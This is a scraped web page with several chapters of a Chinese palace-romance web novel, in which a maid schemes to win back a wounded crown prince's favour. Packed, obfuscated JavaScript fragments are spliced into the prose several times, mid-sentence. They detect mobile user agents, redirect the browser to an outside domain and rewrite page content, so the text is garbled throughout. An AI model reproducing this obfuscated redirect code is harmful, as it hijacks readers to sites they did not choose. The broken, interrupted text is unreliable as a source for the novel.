l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631961|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安小月望着那扇朱漆大门,心里忽然涌上来一股说不清的滋味。 前两日她总盼着他回来,可如今真回来了,她却不想进去了。 他不追问,自然有他的原因。 她只能庆幸自己又躲过一劫,何必上赶着找罪受? 夜风微凉,她拢了拢袖子,在门口站了片刻,终究还是回了自己院子。 苏德站在廊下将一切收入眼底,悄声走进寝殿禀报,“殿下,安姑娘回房了。” 萧衍站在窗前,闻言微微侧头,眸色晦暗不明,“孤问你了?” 苏德一噎,立刻闭嘴,缩着脖子退到一边。 殿内一时静得可怕,萧衍盯着窗外,指节在窗棂上轻轻叩了两下。 “明日让她搬去与那些人同住。” 苏德眼皮猛跳,小心翼翼道,“殿下,可要将陛下赏了人的消息告诉安姑娘?” 提起那些人萧衍便不自觉皱眉,不悦道,“为何要特意告诉她?她是太子府什么人?” “诺,老奴定会安排得妥妥当当。” 苏德不敢多说,一口答应下来,心里跟明镜似的。 殿下到底还是埋怨上了安姑娘,若不是要维护她,殿下也不会被迫变相承认她是太子府的人。 陛下自然也没有理由往殿下身边塞人。 可说来说去,根源还是在殿下把安姑娘带去宫宴这回事儿上,不去,还会有这么多事么? 苏德悄悄打量了眼殿下铁青的面色,咽下叹息,轻手轻脚合上了门。 翌日,安小月是被王嬷嬷惊醒的。 她睁眼时王嬷嬷已经立在床前,神色却有些古怪。 “姑娘醒了?”王嬷嬷撩开帘子,欲言又止,“殿下有令,让您今日搬到西跨院去。” 安小月混沌的意识瞬间清醒。 西跨院? 她倒是听人说过,只是西跨院离太子所住的玉庆宫很远,怎么突然让她搬到那里去? 当初她借着太子的名义给自己换了这处小院,后来太子回府,也没说让她搬走,今日倒突然提起了。 她抿了抿唇,想到狗太子这几日的异常,当即就决定搬过去。 “好。” 第76章 哭喊着不愿意搬 安小月没有多问,太子府是太子的地盘,她是奴婢,只用听话就是。 正好冷一冷,也能搞清楚狗太子到底是哪里不对,反正她总有法子回来。 王嬷嬷帮她收拾了东西,一起去了西跨院。 这里比安小月想象中的热闹。 她抱着包袱站在门口时,却听到里头传来一阵银铃似的笑声。 一时怔在原地,下意识回头看王嬷嬷。 王嬷嬷眼底带着几分心疼,低声道,“这些都是陛下赏的人,我听苏公公说好像还和姑娘有关系。” 虽未明说,但意思已经很明确了。 安小月很快便想清楚了其中缘由。 狗太子在宫宴上变相表现出对她的不一般,八成是让陛下找到合理的理由往太子府塞人。 有一个她,怎么不能多几个? “姑娘?”王嬷嬷在身后小声提醒。 她猛地回神,发现西跨院的门不知何时已经开了,里头的人都在盯着她看。 有好奇,有轻蔑,更多的是不屑。 安小月稳住心神,平静道,“我住哪间?” 王嬷嬷刚要开口,里头就冒出来一个小丫头,“姑娘来得迟了,只剩下最西边那间还空着。” “多谢。” 安小月神色未变,带着王嬷嬷进了院子。 西跨院已经如此偏远,最西边的屋子只会更偏,但已经进了这里,住哪间还有区别吗? 她正算着最多在这里待几日,若是狗太子还不把她弄出去,她只能去找皇后娘娘帮忙了。 安小月刚住进去,苏德这边就收到了消息。 他在殿外犹豫许久,还是打算跟殿下说一声。 毕竟现在后悔还来得及,若是过几日,说不定安姑娘就没这个心气了。 他推门进去复命,萧衍正在磨自己心爱的**。 “殿下,安姑娘已经搬过去了。” 萧衍动作未停,随意道,“她没生气?可有说什么?” “这……”苏德神色一下变得古怪。 明明是殿下主动把人送进去的,人家一句怨言都没有,但听殿下的意思,好像是想有点什么…… 苏德想了想,叹道,“安姑娘自然是不肯的,还磨蹭了许久,但听说殿下是被她牵连才不得不收了这些人,心下愧疚,这才答应搬进去了。” 话音刚落,“蹭”的磨刀声便戛然而止。 苏德下意识绷紧神经,等候下文。 “听说?”萧衍声音森冷,“听谁的说?” 苏德扑通跪下,冷汗瞬间浸透里衣。 哪有什么人说漏嘴,分明是他为了哄殿下高兴,这才编了些有的没的。 哪知道殿下听了不仅不高兴,还有要问罪的意思! “老奴,老奴……” 头顶传来一声意味不明的轻笑,苏德吓得几欲晕死。 萧衍冷哼一声,随手将**扔进水盆里,发出“咚”一声闷响。 “一个时辰。” 这四个字砸得苏德眼前发黑,真要追究,那个说漏嘴的人不就是他么! 他的确和王嬷嬷说过,也有意让她说给安姑娘的意思。 可若是真的承认了…… 苏德艰难开口,“殿下放心,老奴定把人揪出来。” “滚吧。” 苏德忙不迭退了出去,脚下不停,径直去了西跨院。 一路上他只庆幸自己没把安姑娘得罪狠了,要不然这会儿只用洗干净脖子等死就行。 可他刚跨进西跨院的门,就察觉到了不对劲。 院中气氛凝滞,廊下几个女子站在一处,安小月独自站在一头,王嬷嬷夹在中间挡着。 地上散落几件衣物,有几件苏德很熟悉,一下就认出来这是安姑娘的东西。 其中有一人眼尖,第一个瞧见他进来,立刻凑了过来。 “苏总管怎么来了?可是殿下要召见我们侍奉?” 其余几个女子也纷纷凑上前,你一言我一语的献殷勤。 苏德冷着脸把人挡开,“都退下,不是来找你们的,都回自己屋子去。” 众人脸色一僵,讪讪退开。 只是都想知道他过来是来找谁,都没回屋子。 苏德白了一眼,转身脸上堆着笑,快走几步到了安小月跟前,语气谄媚,“安姑娘,这些儿住的可习惯?若是有什么短缺的,尽管开口。” 安小月和王嬷嬷对视一眼,都不明白他这是怎么了。 王嬷嬷忍不住提醒道,“苏公公,我们才搬进来不到一个时辰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631962|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈不上习惯不习惯。” 安小月点头,开门见山道,“您有什么事直接说吧。” 苏德干笑两声,压低声音道,“的确有点棘手的事情想请姑娘帮个忙……” 院里的人一见苏总管这态度,便以为是天大的事,纷纷凑上来想听个真切。 王嬷嬷注意到了,轻咳两声提醒。 安小月看了眼她们,“进去说吧。” 她捡起地上的衣物,率先进了门,苏德跟王嬷嬷耳语几句,也跟着进去了。 门一关,外头的窃窃私语立刻被隔断。 “苏公公,到底出了什么事儿啊?”安小月也好奇的要命。 能让苏公公这般着急的,只可能和狗太子有关了。 苏德搓了搓手,干笑两声。 他支支吾吾了半天,终于一咬牙,把自己为了哄太子殿下高兴,故意编她不愿意走的事,原原本本倒了出来。 屋内一片死寂。 安小月和王嬷嬷瞠目结舌,都没想到他能说出这种话。 苏德被她们盯得老脸通红,苦着脸道,“我以为殿下问我你有没有说什么是后悔让你搬进来的意思,就想着哄哄殿下,哪知道抱起石头砸自己的脚。” 他越说越心虚,声音越来越小。 “所以能不能请姑娘帮我演出戏,就说你真心不愿意搬走,为此还哭了好几场,至于听谁说……” 苏德立刻就想到院子里那群女子,毫不犹豫地甩锅。 “就说是听外头那些人说的,殿下最不喜欢有人议论他的事情了。” 安小月面色为难,心头狂喜。 机会这不就来了吗? 她想让狗太子把她捞出去,光等着可不行,的确有必要在一开始就添把火。 王嬷嬷也心虚不已,话是她听来的,也是她说出去的。 姑娘帮苏总管,也是在帮她。 她也跟着劝,“姑娘,若是殿下知道那群女人在背后嚼舌根,说不定就把人撵走了。” 安小月眼眸微微一亮,这的确是个好机会。 她轻声道,“我可以帮你,但我要你答应我一件事。” 苏德忙道,“只要姑娘帮忙,别说一件,十件都使得。” 安小月抬头,“我要见殿下。” 第77章 留下来 苏德一听安小月愿意帮这个忙,顿时松了一大口气。 连连点头,“放心,我这就去安排,殿下这几日虽然冷着脸,但未必不想见你。” 他嘿嘿暧昧一笑,一身轻松地出了屋子。 王嬷嬷神色紧绷,一直在观察安小月的神色,最后得了句“与你无关”才算安心。 入夜后突然起了风。 安小月从仅有的衣裳里选了件最单薄的,又反复用冷水洗了几次脸,这才独自出了西跨院。 好在夜深了,其他人早就歇下了,不然肯定会被拦住。 安小月默默腹诽,女人多的地方是非就是多,六皇子院里怕是天天都这么热闹吧? 幸好狗太子不近女色,不然她一定早早完成任务离开这里。 一路胡思乱想终于到了玉庆宫,苏德早已在门口等候多时,看到她忙迎上来。 “姑娘直接进去吧,我已经跟殿下说过了。” 虽然殿下没点头,但也没摇头不是? 苏德再一看安小月的打扮,颇为赞同地竖起个大拇指,“还得是你机灵,放心,我会守着门口,不会有人打扰。” 安小月弯了弯唇,觉得苏公公多少有些得了便宜还卖乖的意思。 不想耽误时间,她深吸了口气,轻轻叩响殿门。 “进来。” 里头传来狗太子冷淡的声音。 安小月推门而入,飞快地扫了一眼,这才低着头慢吞吞地走了进去。 直到她走近,萧衍才漫不经心地掀开眼皮。 目光触及她苍白的脸色和单薄的衣裳,忽地冷笑,“怎么?刚搬进去就不安分了,这是在装可怜博同情?” 安小月抬头,眼眶微红,委屈巴巴道,“之前奴做什么都逃不过殿下的眼睛,难道殿下不知道奴的衣裳全都被那些人弄脏了吗?” “奴原本就没几件衣裳,弄脏了的还没重新洗,只能穿这件过来……” 萧衍眉头一皱,语气讥诮,“你以为这样孤就会心疼?” 安小月撇了撇嘴,吸吸鼻子,“殿下误会了,奴过来只是想帮苏公公解释,他说的没错,今早奴的确哭闹过一回,也是真心不想搬进西跨院。” 萧衍嗤笑一声,慢悠悠走到她身边。 “为何哭闹?孤想让你住哪里就让你住哪里,难道你还有怨言不成?” “奴当然不会有怨言,奴只是感慨人生变化莫测,先前殿下明知道那院子是奴不当途径得来的,却没让奴搬出去,偏偏要在殿下和奴……之后才让搬。” 她中间刻意停顿了一下,脸颊也羞红起来。 说完又忐忑地抬眼打量,“可是奴没有伺候好殿下?” 萧衍哪能听不出来她停顿的那一下是在暗示什么,淡淡瞥了她一眼,嗤笑。 “你见了那些女子,难道不知道是因为什么?” 安小月垂眸,声音更委屈了。 “奴知道,看来那些人说的是真的,殿下果真是因为那些女子才生奴的气!” 萧衍饶有兴致地盯着她,挑了挑眉,“哪些人?西跨院里的那些?” “是,她们说若不是殿下当众维护奴,她们也不会知道殿下并不是完全不近女色,这才会被送进来。” 萧衍脸上的笑立刻落了下去,眼底瞬间翻涌出危险的气息。 安小月下意识抖了抖肩膀,脑袋垂得更低了。 他突然伸手扣住她的手腕,一把将人扯过来,困在怀里让她无法挣脱。 安小月被他拉得踉跄一步,单薄的衣袖滑落,露出一截纤细的手腕,身体也因为他抱得太紧,被迫显露出玲珑的曲线。 萧衍眼底暗色翻涌,“孤把你送进去,你除了难过,就一点都不生气?” 安小月抬头直视他的双眼,“奴说生气,殿下会让奴回来吗?” “你觉得呢?”他讥讽勾唇,“你若是搬出来,那些人也要出来,孤岂不是要被你们吵死?” 她别开脸,轻轻地在他怀里挣扎,“那殿下问这些做什么?” 萧衍一噎,指腹无意识摩挲她微凉的手臂,忽然冷笑,“安小月,你可真是……” 话音未落,殿外传来急促的脚步声。 紧接着是赵忠压低的声音,“殿下,边疆密报。” 密报?还来自边疆? 安小月下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安小月本来睡得就浅,听到动静,她倏地睁开眼,寒意瞬间爬满了脊背。 出事了! 她赤着脚跳下软榻,还未站稳,就见殿门猛地被推开,冷风裹挟着血腥味灌进来。 苏德的急喝声在耳边炸响。 “轻些,轻些……殿下身上还有伤!快去请太医,多请几个,快去!” 她呼吸一滞,瞳孔骤然紧缩。 只见一个侍卫背着太子疾步而入,烛火亮起,她看清楚了太子的模样。 他脸色苍白如纸,发丝被汗水浸湿,凌乱的贴在脸上,左肩膀更是惨不忍睹,被血浸透了一大片,但眼睛却亮得惊人。 安小月僵在原地,喉咙发紧。 萧衍似乎察觉到了她的视线,微微抬头,目光落到她身上。 他嘴唇动了动,似乎想说什么,可刚张开嘴便猛地咳出一口暗红的血。 “殿下!” 苏德的惊呼惊醒了安小月,她这才如梦初醒,踉跄着上前。 侍卫们手忙脚乱的将太子放置在床榻上,然而他的意识已经模糊,沉沉闭上双眼。 好在太医院的人来得很快,殿内霎时挤满了人。 安小月被挤到角落,看着他们剪开他左肩的衣裳,露出一道狰狞的伤口。 皮肉翻卷,深可见骨,伤口边缘泛着诡异的青黑。 “是毒!” 人群中有太医惊呼,紧接着众人便开始行动,施针,敷药,灌汤药…… 萧衍却始终昏迷,只有被剜**肉时压抑的闷哼了几声。 安小月攥紧了手指。 她从未见过这样的太子,脆弱,无力,甚至濒临死亡。 那个在战场上所向披靡的大将军王,如今却像个普通人一样躺在那里,生死未卜。 她忽然觉得眼前一阵阵的发黑,身子晃了晃,被旁边的人一把扶住。 “当心!” 赵忠皱眉看着她惨白的脸,低声道,“吓到了?” 安小月张了张嘴,却发不出声音,只能再次看向床榻上的人,“不是说……到底出了何事?” 赵忠没接话,无声叹了口气。 “别硬撑,你先去歇着吧,殿下醒了还需要人伺候。” 安小月用力咬了下舌尖,疼痛让她勉强保持清醒,摇头道,“我出去搭把手。” 殿内忙碌,殿外同样如此。 安小月机械地做这做那,动作又急又快,仿佛只要停下来,脑海里就会浮现太子满身是血的样子。 “姑娘,歇歇吧。”王嬷嬷的声音从身后传来,“殿下的伤口已经处理妥当,太医说只要今夜不发热,便无大碍。” 安小月指尖一颤,紧绷的肩膀松懈片刻,又再次绷紧。 若是发热又该如何? 她不敢深想,也不敢说丧气话,只低低应了一声,转身又去查看药炉。 药熬好后,她看着人送了进去,自己站在廊下候着,听见几个侍卫在低声交谈。 “……上次殿下便以为那些狼群是有人驱使,没想到竟然是真的!” “只是这狼群出现的太过蹊跷,殿下刚接到信出城,那群狼就又来了。” “可不是,等殿下醒来,怕是要彻查一番了……” 狼群?有人驱使? 安小月心头一跳,正想多听两句,赵忠却快步从内殿出来,看到她愣了愣,又冷着脸驱散那几个侍卫。 “赵大人。”安小月出声把人拦住,“今夜之事和狼群有关?怎么可能?狼群不是已经被殿下驱逐很远了吗?” 那夜太子当着百姓的面起誓,有生之年绝不会让狼群再踏入一步,就派了人连夜将周围的狼群赶走。 更何况那一战狼群遭受重创,短时间内应该不会卷土重来。 除非真的是有人故意驱使…… 赵忠深深看了她一眼,沉声道,“事关军务,恕我不能多言,安姑娘真想知道,不如等殿下亲口告诉你。” 他说罢步履匆匆离开。 安小月在原地愣神许久,才转身进了内殿。 殿内烛火通明,太子依然昏迷着,脸色比方才更加苍白。 这一夜好似格外漫长。 安小月几乎一刻未歇,她先是帮着熬药,又换了干净帕子,一遍遍擦拭太子滚烫的额头和脖颈。 太医们轮番诊脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633643|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,改了几次药方,眉头始终紧锁。 直到天边泛起一丝白,太子的呼吸才逐渐平稳,太医再次诊脉后,终于松了口气。 低声与苏德道,“热退了,伤口也未溃肿,只要不再反复,便无性命之忧。” 众人悬了一夜的心终于稍稍落下。 苏德双手合十,低声念佛,“那咱家这就回宫禀报。” 他走之前又叫住安小月,“安姑娘,你先在这里守着,务必要时刻盯着,万万不能离人。” 安小月了然,储君遇袭这么重要的事情,估计宫里的也一夜没睡。 “公公放心。” 两个时辰后,正午的阳光透过床帐洒进来,萧衍终于睁开了眼。 他先看见伏在床边熟睡的安小月。 她发髻散了一半,眼下还挂着黑青,不知做了什么梦,眉头紧锁着。 萧衍试着抬手,不慎扯到伤口,巨疼让他闷哼一声。 安小月猛地抬头,四目相对,她慌忙起身去看他的伤口,好在没有出血。 她长长松了口气,“殿下感觉如何?可有哪里不适?奴这就去请太医进来!” “急什么?”萧衍声音哑得厉害,“怕孤**?” 安小月抿了抿唇,微不可察地点了点头。 她依附他而活,可不是怕他**吗? 萧衍忽地低笑起来,这一笑牵动伤口,疼得倒抽几口气才止住。 “那的确该怕。” 他缓了口气,似笑非笑,“按宫规,储君薨逝,近身侍奉的宫人都是要殉葬的。” 安小月一僵,看清他眼底的深邃,忽然明白这不是什么打趣,是更为危险的试探。 她红了眼眶,“奴不怕殉葬,奴只怕殿下殿下大业未成,却遭奸人所害。” 萧衍眸色渐深,“哦?你如何得知孤是被奸人所害?” 安小月仍低着头,语气恭敬而小心,“前几日城中谣言四起,说殿下……” 她顿了顿,又说,“那些话来得蹊跷,传得又快,必是有人刻意散播,如今殿下刚压下流言便又遇袭,实在太过巧合。” 萧衍唇角微勾,眼底却无笑意。 “你倒是敏锐。” 第79章 让她进来 安小月哪能听不出他话里深藏的冷意,声音放得更轻了些。 “奴只是觉得殿下如今更应当保重身体,早日将幕后之人揪出来才可安心。” 殿内一时静默。 安小月不知道自己这番表忠心的话会让他觉得自己有些用处,还是生出警惕。 不见他开口,只得继续等待。 萧衍忽然低笑一声,“你这话倒是盼着孤去查似的,可惜孤重伤卧床,怕是得养段时间。” 安小月抬头,对上他似笑非笑的目光,心头微微一跳。 难道这次受伤,就是他想出来以退为进的法子? 萧衍不管她作何反应,漫不经心的轻拂过左肩伤口。 “今日的话,孤就当你没说过,让太医进来,再告诉苏德,孤养伤,不见客。” 安小月福身应是,轻手轻脚退了出去。 可已经出去了两个多时辰的苏德仍未归来,她只得亲自去了门口叮嘱值守的侍卫。 “殿下有令,任何人不得入内。” 侍卫抱拳领命,结果不到半刻钟,一个小太监急匆匆跑来,语速飞快道,“姑娘,安大小姐来了!” 安小月指尖微微一颤,眼中闪过一丝冷意。 她猜到安欢颜会来,却没想到她会来的这么快。 “我去看看。” 她深吸一口气,抬步朝大门口走去。 大门外,安欢颜的贴身嬷嬷正与守门侍卫争执不休,见安小月走来,老嬷嬷冷哼一声。 “我当是谁要拦我家小姐,原来是你,安小月,你竟敢连大小姐都拦?小姐可是未来的太子妃!” 安小月敷衍行礼,抬眸时眼底带着若有似无的挑衅。 “殿下伤势未稳,太医叮嘱静养,暂不见客。” 安欢颜眸光一冷,面带愠怒,“放肆!我是殿下的未婚妻,难道也算客?” “就是,我看就是有人故意拦着,不想让我家小姐见殿下。” 安小月嘴上恭敬,语气却毫不退让,“不敢,只是殿下亲口吩咐,不见任何人。” 老嬷嬷气急,扬手就要打下去,却被旁边的人眼疾手快地挡了一下,又狠狠甩开。 “何人敢在太子府动手?” 赵忠一个箭步将安小月挡在身后,目光冷厉,“安大小姐,殿下不见客。” 安欢颜怒极反笑,“好!好得很!” 她盯着安小月,一字一顿道,“那你去问殿下,若他亲口说不见,我立刻就走。” 安小月蹙了蹙眉,明知结果,何必还要多此一举? 正要说,就被赵忠用眼神暗示。 他侧身低语,“安大小姐身份特殊,姑娘不如进去问问,省得以后多生事端。” 若是不出意外,这两人今后都是要进东宫的,现在得罪的太狠,只会换来日后变本加厉的报复。 何不退让一步换取以后的安宁? 安小月深深看了他一眼,目光不自觉地看向玉庆宫的方向,一个念头在心底悄然滋生。 或许,这是个试探太子心意的机会。 若是他同意见安欢颜,那就表明他心里还是在意她的…… 想到这里,安小月就感觉胸口发闷。 “好,我去问。” 她努力压下心底翻涌的情绪,转身进了门。 踏入内殿,她感觉心跳越发快了。 萧衍正靠在床头闭目养神,听到脚步也没睁眼,“何事?” 安小月深吸一口气,轻声道,“殿下,安大小姐求见,您……要见吗?” 只见他沉默片刻,竟淡淡道,“让她进来。” 安小月猛地抬头,眼中满是不可置信。 她只觉得一股寒意袭来,整个人如坠冰窟。 殿下竟然同意? 她喉咙发紧,似是不信地追问,“殿下?” 萧衍却已重新闭上眼,不再多言。 安小月回到大门口时面色苍白如纸,安欢颜见她神色不对,笑容更深,“殿下怎么说?” 老嬷嬷抢话,“殿下必定是让小姐直接进去吧,毕竟婚期提前,殿下如今重伤,我家小姐自然得多多关心。” 安小月目光凝滞,不由自主看向安欢颜。 “婚期提前?” “没错。”安欢颜抬起下巴,略带诧异地挑了挑眉,“陛下已经让钦天监重新择了日子,难道殿下没有告诉你?” 安小月心里一阵发凉,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633644|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止没告诉,还把她赶到了西跨院住! 怪不得,怪不得! 她就说狗太子近几日怪怪的,原来是因为这个。 安欢颜和嬷嬷对视一眼,掩唇轻笑,眼底满是得意。 “啧啧,原来某些人也不是那么得宠。” 她向前一步,凑近安小月耳边,压低声音讥讽,“别仗着几分小聪明就觉得自己与众不同,这个位置,不是我,也不会是你。” 安小月只觉得耳边嗡嗡作响。 若是陛下决定婚期提前,怎么不见这些人着急? 难道他们不想用她去试探太子了吗? 安欢颜已经掠过她进了大门,直奔玉庆宫,赵忠见她脸色不好看,忍不住道,“不然你别进去了?” 安小月瞬间回神,用力握了握拳头。 “我无碍。” 她怎么可能不进去,安欢颜对于这件婚事已经不像之前那样排斥,太子的态度也是模棱两可。 她再不进去,只怕天真的要变了。 安小月追上去时,安欢颜已经进了内殿,只见她眼眶一红,快步上前。 “殿下,臣女听闻您受伤,心急如焚,特意带了补药过来。” 安小月看着她做作的样子,眉头直皱,余光一瞥,就瞧见狗太子正似笑非笑盯着自己。 她忙低了头,生怕狗太子要赶她出去。 安欢颜顺着萧衍的视线看向安小月,正要开口赶人,就听他漫不经心道,“孤刚受重伤,你就带了补药过来,生怕孤养好伤是不是?” 一旁的太医点头道,“殿下说的没错,外伤未愈,最忌讳大补,平日饮食清淡即可。” 安欢颜脸色骤变,慌忙跪下。 “殿下误会了,臣女绝无此意,臣女只是太担心殿下了。” 萧衍却垂眸不语。 安小月在一旁看到刚才还趾高气扬的安欢颜这幅狼狈模样,忍不住抿了抿嘴。 却听到一声冷哼,“好笑?” 她心头一跳,抬眸正对上萧衍别有深意的眼神,忙慌低头,“奴不敢。” “都退下吧。”萧衍疲惫挥手。 “孤该如何自有定夺,安大小姐,日后莫要自作主张了。” 第80章 擦身 安欢颜跪在青玉砖上,不知想起什么,原本慌乱的神色忽然镇定下来。 她缓缓抬头,声音柔得能滴出水来。 “殿下教训得是,只是臣女今日来看望殿下,既是皇后娘娘的意思,也是……陛下的意思。” 萧衍修长的手指微微一顿,眉头蹙起。 安欢颜见状,语气越发从容,“毕竟婚期提前,就算臣女不该来……” 她故意停顿,目光意有所指地扫过安小月,“也会来日日侍奉汤药。” 安小月垂头立在屏风旁,心里又恼又烦。 她好不容易能从西跨院脱身,本想借着狗太子养伤这段日子好好伺候,让他打消送自己回去的心思。 没想到却杀出来一个安欢颜。 她日日来,还要她做什么? 可转念一想,安欢颜那双养尊处优的手,怕是连帕子都没有亲自拧过吧? 到时候递水端茶,擦汗换药,不还得让她来? 想到这里,安小月心头突然涌上来一丝隐秘的期待,连嘴角都微微弯了起来。 萧衍始终未发一言,但骤然冷下的眉眼泄漏了情绪。 安欢颜也不恼,心满意足地离开了玉庆宫。 “人都走远了,还盯着看?”萧衍懒洋洋的嗓音传来,“若是舍不得,孤送你回相府可好?” 安小月突然回神,一抬头就撞进他隐含不悦的眼神中。 他面容还带着失血后的苍白,却丝毫不减通身气度,此刻正饶有兴致地盯着她看。 “又想作什么坏?孤瞧着你眼睛都亮了。” “奴不敢。”安小月耳根发烫,慌乱低头。 萧衍招手,“过来。” 安小月不敢违抗,磨蹭着挪到榻前三步远,就再不肯往前,“殿下有事吩咐?” “孤不日便要大婚。”萧衍的声音突然沉下来,“她便是东宫的女主人。” 安小月心头猛地一沉。 “你若是不想以后死得太难看,那就乖一点,别惹事。” 这话像冷水一样泼过来,安小月死死咬住嘴唇。 这是她乖一点就能避开的劫吗? 无论她怎么做,等安欢颜进了东宫,一定不会让她好过就是了。 除非……她进不来。 萧衍久等不到回应,蹙眉不耐,“孤的话没听见?” 安小月低眉顺眼地应了声“诺”,可心里却像是憋了团火。 明明是他们先不要的,怎么见她要快站稳脚跟,又要来抢? 凭什么! 她心里不忿,动作却越发乖顺,替他掖好被角,指尖却故意在他腕骨上轻轻扫过,又迅速收回。 萧衍抬眸看她,眼底闪过一丝探究。 安小月刚收拾妥当,身后便传来一阵脚步声,却是许久未归的苏德。 他早已快步进了内殿,走起路一瘸一拐,面色格外凝重。 萧衍脸色微变,开口赶人,“出去,让赵忠守门。” 安小月也猜出来必定出了大事,立刻出了内殿,唤来赵忠在门口守着。 她则回了屋子为今夜的计划做准备。 王嬷嬷早已带着几件常用的东西搬回了先头住的屋子,安小月推开门,里间突然传来窸窸窣窣的响动。 “姑娘回来了?” 她转身就见王嬷嬷从帘子后出来,眼睛红肿得厉害,手里还攥着块湿透的帕子。 “嬷嬷这是怎么了?” 在她的记忆中王嬷嬷最是稳重不过,从来没哭成这样过,除了青莲出事的那天。 莫非…… “没什么。”王嬷嬷慌忙用袖子擦了擦脸,“方才与厨房那婆子发生了点冲突,一时没忍住掉了点猫泪,姑娘可别笑话我。” 安小月扯了扯嘴角,不大相信。 她上前拉住王嬷嬷的手,“到底出了什么事?若是有我能帮得上的地方,嬷嬷只管开口。” 王嬷嬷嘴唇哆嗦了几下,突然扑通跪了下去。 “姑娘,我实在憋不住了,是关于,关于青莲那丫头的事!” 这个名字像跟刺,猛地扎进安小月的胸口,她脸上的血色瞬间褪去,突然后悔开口询问。 可看着王嬷嬷老泪纵横的模样,终是长长吁了口气。 “嬷嬷起来说吧。” 王嬷嬷连连点头,拉着她的手,语速飞快道,“今早我和小厨房的柳婆子一起去后街采买,撞见了青莲的表姐,她说,说青莲的爹娘要把她发落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633645|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁人!” “这丫头才多大,怎么能嫁人?更何况她还是被赶出太子府的,那婆家能给她好脸色?” 安小月心头惊诧,为难道,“但那毕竟是青莲的亲爹娘,我们能有什么法子?” “只要姑娘开口,她爹娘必定不敢就这么把她嫁出去!” 王嬷嬷说完见她脸色不对,又压低声音道,“其实有件事我一直瞒着姑娘,之前那事我后来问过青莲,她说……当初的是另有隐情,她是被逼的!” 安小月不可置信地朝王嬷嬷看过去。 “若是真有隐情,殿下不可能查不出来……” 但是殿下已经亲自开口把她赶了出去,难道还能有假? 安小月盯着空着的那张床榻,恍惚间又想起来以前青莲在时她们有多开心。 那个会因为二十两银子就对她磕头,发誓要照顾她一辈子的丫头,当真是被冤枉的吗? “姑娘?”王嬷嬷担忧的看着她,又隐约带着催促。 安小月这才回神,强自镇定下来。 “嬷嬷别急,这事先别告诉旁人,等殿下的伤势稳定,若是有机会……我想见见她。” 王嬷嬷忙不迭地点头。 “好,姑娘若是有了空提前说一声,我好给那边打个招呼。” 安小月勉强笑笑,让王嬷嬷出去忙了。 等屋里只剩下她一人,先前恐怖的记忆再次涌上心头,她不受控制的颤抖起来。 她本打算今夜继续撩拨狗太子,最好能让安欢颜明日撞见更不堪的画面。 可现在…… 暮色如墨,玉庆宫早亮起了烛火。 安小月端着铜盆进来时,萧衍正靠在榻上,手里握着一卷书册。 只是许久都未翻动一页,不知道在想什么。 “殿下,该擦身了。” 安小月有意放轻声音,像是怕惊扰到他。 萧衍撩开眼皮看了她一眼,“怎么是你?” 安小月把铜盆放在旁边的矮几上,闻言无辜地眨了眨眼,“苏公公身子不适,怕是不能来,赵大人带人巡夜,王嬷嬷……” “够了。”萧衍不耐烦地打断。 “别耍小心思,不然孤饶不了你。” 第81章 保你衣食无忧 安小月不动声色的往他包裹着棉布的左肩扫了一眼,嘴角极轻地扬了扬。 “诺,殿下放心。” 她走到榻边,先替他解开衣带,指尖若有似无的划过他裸露出来的皮肤,明显感觉到他绷紧了肌肉。 